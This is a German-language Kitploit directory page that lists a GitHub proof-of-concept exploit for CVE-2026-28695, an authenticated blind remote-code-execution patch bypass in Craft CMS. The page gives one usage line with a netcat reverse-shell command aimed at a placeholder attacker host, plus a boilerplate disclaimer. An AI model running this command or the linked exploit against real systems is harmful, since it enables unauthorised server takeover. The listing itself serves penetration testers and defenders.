Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-28695 — Python-PoC-Exploit für CVE-2026-28695, eine authentifizierte blinde RCE in Craft CMS, die den create()-BaseObject-Patch umgeht und eine Reverse Shell startet. | Kitploit
Tools/GitHubGitHub/predyy/cve-2026-28695
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPost-ExploitationWebsicherheitPenetrationstestsRed TeamingRemote-Access-Tool
GitHubpredyy/cve-2026-28695

CVE-2026-28695

Python-PoC-Exploit für CVE-2026-28695, eine authentifizierte blinde RCE in Craft CMS, die den create()-BaseObject-Patch umgeht und eine Reverse Shell startet.

13vor 4 TagenNoch nicht geprüft
Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-28695 Patch-Bypass - Craft CMS Blind RCE

Authentifizierte blinde Remote-Code-Ausführung in Craft CMS. Umgeht die create() - BaseObject-Einschränkung, die im CVE-2026-28695-Fix (Commit e31e508) hinzugefügt wurde.

Verwendung

python3 exp.py -t http://target.htb -u user -p 'password' -c 'busybox nc ATTACKER_IP ATTACKER_PORT -e /bin/sh'

Haftungsausschluss

Dieses Skript ist ausschließlich für Bildungszwecke gedacht. Der Autor ist nicht verantwortlich für jeglichen Missbrauch oder Schaden, der durch diesen Exploit verursacht wird. Stellen Sie stets sicher, dass Sie eine Genehmigung haben, bevor Sie Schwachstellen testen oder ausnutzen!

Tool herunterladen